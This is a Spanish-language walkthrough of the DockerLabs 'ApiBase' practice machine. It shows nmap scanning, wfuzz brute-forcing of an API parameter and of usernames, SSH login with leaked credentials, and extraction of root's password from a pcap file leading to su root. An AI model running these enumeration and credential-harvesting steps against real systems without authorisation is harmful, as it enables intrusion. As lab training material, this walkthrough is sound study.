DockerLabs - ApiBase
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ApiBase]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ApiBase]
└─$ nmap -sCV -p22,5000 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u4 (protocol 2.0)
| ssh-hostkey:
| 3072 20:ab:09:61:00:7b:cc:18:48:8e:bf:8d:3d:e4:cd:b5 (RSA)
| 256 42:0c:71:44:7c:13:ba:8f:b7:82:35:f2:b3:f7:b9:ff (ECDSA)
|_ 256 85:95:6c:96:ac:a1:f0:3e:1e:0d:c1:c8:b0:6f:bb:1d (ED25519)
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.9.2)
|_http-title: Site doesn´t have a title (application/json).
|_http-server-header: Werkzeug/1.0.1 Python/3.9.2
análisis
Revisando la página principal del puerto 5000 del servidor web, nos encontramos con una API (Application Programming Interface), la cual nos indica que podemos añadir un usuario, o listar datos de otros usuarios existentes:
Comprobamos que para agregar, se debe realizar mediante el método POST:
Sin embargo, cuando vamos a comprobar nuestro usuario, vemos que para ello es necesario aportar un parámetro, el cual todavía no tenemos:
acceso inicial (pingu)
Tratamos de obtener el parámetro por fuerza bruta con wfuzz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ApiBase]
└─$ wfuzz -c -t 200 --hh=35 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?FUZZ=key"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz`s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.17.0.2:5000/users?FUZZ=key
Total requests: 220559
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003829: 404 3 L 6 W 32 Ch "username"
Vemos que ahora con el parámetro username sí podemos listar la información:
Dado que tenemos una forma de listar usuarios, vamos a ver que otros usuarios hay disponibles, ya que al parecer, no solo se muestra el usuario, sino también la contraseña asignada:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ApiBase]
└─$ wfuzz -c -t 200 --hh=32 -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u "http://172.17.0.2:5000/users?username=FUZZ"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz`s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://172.17.0.2:5000/users?username=FUZZ
Total requests: 8295455
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000047743: 200 12 L 12 W 104 Ch "pingu"
Si listamos al usuario pingu, encontramos una cadena que podría ser la contraseña:
Probamos a acceder con las credenciales obtenidas, y vemos que son correctas:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/ApiBase]
└─$ ssh pingu@172.17.0.2
pingu@172.17.0.2's password:
pingu@ad346bb3cda2:~$ whoami
pingu
pingu@ad346bb3cda2:~$ hostname -I
172.17.0.2
Comprobamos que en fichero users.db del directorio del usuario pingu el único que se muestra es este mismo:
1
2
3
4
5
6
7
8
9
pingu@ad346bb3cda2:/home$ ls
app.py network.pcap pingu users.db
pingu@ad346bb3cda2:/home$ sqlite3 users.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|pingu|pi*********
escalada de privilegios (root)
En la carpeta del usuario pingu encontramos también un fichero con extensión .pcap, el cual si revisamos su contenido, encontramos lo que se podría interpretar como las credenciales del usuario root, por lo que las probamos para ver si es así:
1
2
3
4
5
6
7
8
9
10
11
pingu@ad346bb3cda2:/home$ cat /home/network.pcap
���&�gVF((E(@"���P .�&�g@G((E(@O��P [�&�g�G((E(@"���P .�&�g3H33E3@"���P aRLOGIN root
&�g
I66E6@"���P ��PASS b*******
&�g�I66E6@O��P ��Access Denied
pingu@ad346bb3cda2:/home$ su root
Password:
root@ad346bb3cda2:/home# whoamio
bash: whoamio: command not found
root@ad346bb3cda2:/home# whoami
root
Con esto, habremos completado el laboratorio!






